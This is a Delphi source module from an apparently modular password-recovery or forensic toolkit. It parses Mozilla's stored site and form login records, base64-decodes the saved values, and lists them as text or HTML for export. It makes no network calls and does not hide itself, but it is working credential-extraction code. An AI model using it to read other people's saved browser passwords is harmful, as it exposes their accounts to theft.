unit Mod_Mozilla;

interface

uses
  Windows, SysUtils, Classes, Mod_Common, Mod_Opera, xBase;

type
  PMozillaParam = ^TMozillaParam;
  TMozillaParam = record
    Name: String;
    Value: String;
  end;

  PMozillaItem = ^TMozillaItem;
  TMozillaItem = record
    Site: String;
    Params: TList;
  end;

  TModuleMozilla = class(TModule)
  private
    procedure FreeFormsList;
    procedure GetMozillaPasswords(const Data: String);
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    FormsList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;
  end;

implementation

const
  TYPE_MOZILLA_DAT = 0;

{ TModuleMozilla }

destructor TModuleMozilla.Destroy;
begin
  FreeFormsList;
  inherited;
end;

procedure TModuleMozilla.FreeFormsList;
var
  i, j: Integer;
begin
  if FormsList = nil then Exit;

  for i := 0 to FormsList.Count-1 do begin
    PMozillaItem(FormsList.Items[i]).Site := '';;
    for j := 0 to PMozillaItem(FormsList.Items[i]).Params.Count-1 do begin
      PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Name := '';
      PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Value := '';
      Dispose(PMozillaItem(FormsList.Items[i]).Params.Items[j]);
    end;
    PMozillaItem(FormsList.Items[i]).Params.Free;
    Dispose(FormsList.Items[i]);
  end;
  FormsList.Free;
end;

function TModuleMozilla.GetAsText: String;
var
  i, j: Integer;
begin
  Result := '';
  for i := 0 to FormsList.Count-1 do begin
    Result := Result + 'Site: ' + PMozillaItem(FormsList.Items[i]).Site + #13#10'Values:';
    for j := 0 to PMozillaItem(FormsList.Items[i]).Params.Count-1 do begin
      Result := Result + #13#10 + '             ' + PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Name + ': ' +
        PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Value;
    end;
    Result := Result + #13#10#13#10;
  end;
end;

procedure TModuleMozilla.GetAsTree;
var
  i, j: Integer;
  S: String;
begin
  inherited;

  Append(ModuleName, 'Этот модуль содержит пароли от сайтов и форм в Mozilla browser', ICON_FOLDER);
  MoveIn;

  if FormsList.Count > 0 then begin
    S := '';
    for i := 0 to FormsList.Count-1 do begin
      S := S + 'Сайт: ' + HTMLSafe(PMozillaItem(FormsList.Items[i]).Site) + '<br>Значения:<ul>';
      for j := 0 to PMozillaItem(FormsList.Items[i]).Params.Count-1 do begin
        S := S + '<li>' + HTMLSafe(PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Name + ': ' +
          PMozillaParam(PMozillaItem(FormsList.Items[i]).Params.Items[j]).Value);
      end;
      S := S + '</ul><hr>';
    end;
    Append('Формы/сайты', S, ICON_MOZILLA);
  end;

  MoveOut;
end;

function TModuleMozilla.GetIsEmpty: Boolean;
begin
  Result := FormsList.Count = 0;
end;

class function TModuleMozilla.GetModuleID: Integer;
begin
  Result := MODULE_MOZILLA;
end;

class function TModuleMozilla.GetModuleName: String;
begin
  Result := 'Mozilla';
end;

class function TModuleMozilla.GetModuleVersion: Integer;
begin
  Result := 0;
end;

procedure TModuleMozilla.ExportModule(DBStream: TMemoryStream);
var
  i, j: Integer;
  P: PMozillaItem;
  P2: PMozillaParam;
begin
  inherited;

  ExportData([FormsList.Count]);
  for i := 0 to FormsList.Count-1 do begin
    P := FormsList.Items[i];
    with P^ do begin
      ExportData([Site, Params.Count]);
      for j := 0 to Params.Count-1 do begin
        P2 := Params.Items[j];
        with P2^ do
          ExportData([Name, Value]);
      end;
    end;
  end;
end;

procedure TModuleMozilla.ImportModule(DBStream: TMemoryStream);
var
  i, j: Integer;
  P: PMozillaItem;
  P2: PMozillaParam;
begin
  inherited;

  FormsList := TList.Create;

  for i := 0 to ImportData-1 do begin
    New(P); FormsList.Add(P);
    P^.Site := ImportData;
    P^.Params := TList.Create;
    for j := 0 to ImportData-1 do begin
      New(P2); P^.Params.Add(P2);
      P2^.Name := ImportData;
      P2^.Value := ImportData;      
    end;
  end;
end;

procedure TModuleMozilla.Run;
var
  DataItem: TDataItem;
begin
  inherited;

  FormsList := TList.Create;
  while HasMoreData do begin
    DataItem := ReadData;
    case DataItem.cType of
      TYPE_MOZILLA_DAT: GetMozillaPasswords(DataItem.Data);
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

procedure TModuleMozilla.GetMozillaPasswords(const Data: String);
var
  P: PMozillaItem;
  P2: PMozillaParam;
  List: TStringList;
  i, n: Integer;
  S: String;
begin
  List := TStringList.Create;
  List.Text := Data;

  while (List.Count > 0) and (List.Strings[0] <> '.') do
    List.Delete(0);
  if List.Count > 0 then List.Delete(0);

  n := 0; P := nil; P2 := nil;
  for i := 0 to List.Count-1 do begin
    if n = 0 then begin
      New(P); FormsList.Add(P);
      P^.Site := List.Strings[i];
      P^.Params := TList.Create;
    end else if (List.Strings[i] <> '.') and (P <> nil) then begin
      if n mod 2 = 0 then begin
        S := List.Strings[i];
        if (Length(S) > 0) and (S[1] = '~') then
          Delete(S, 1, 1);
        if P2 <> nil then P2^.Value := DecodeBase64(S);
      end else begin
        New(P2);
        P^.Params.Add(P2);
        S := List.Strings[i];
        // Forms
        if (Length(S) > 0) and (S[1] = '*') then Delete(S, 1, 1);
        // Protected sites
        if (Length(S) > 3) and (Copy(S, 1, 2) = '\=') then begin
          Delete(S, 1, 2);
          Delete(S, Length(S)-1, 2);
        end;
        P2^.Name := S;
      end;
    end;
    n := n + 1;
    if List.Strings[i] = '.' then
      n := 0;
  end;
  List.Free;
end;

end.
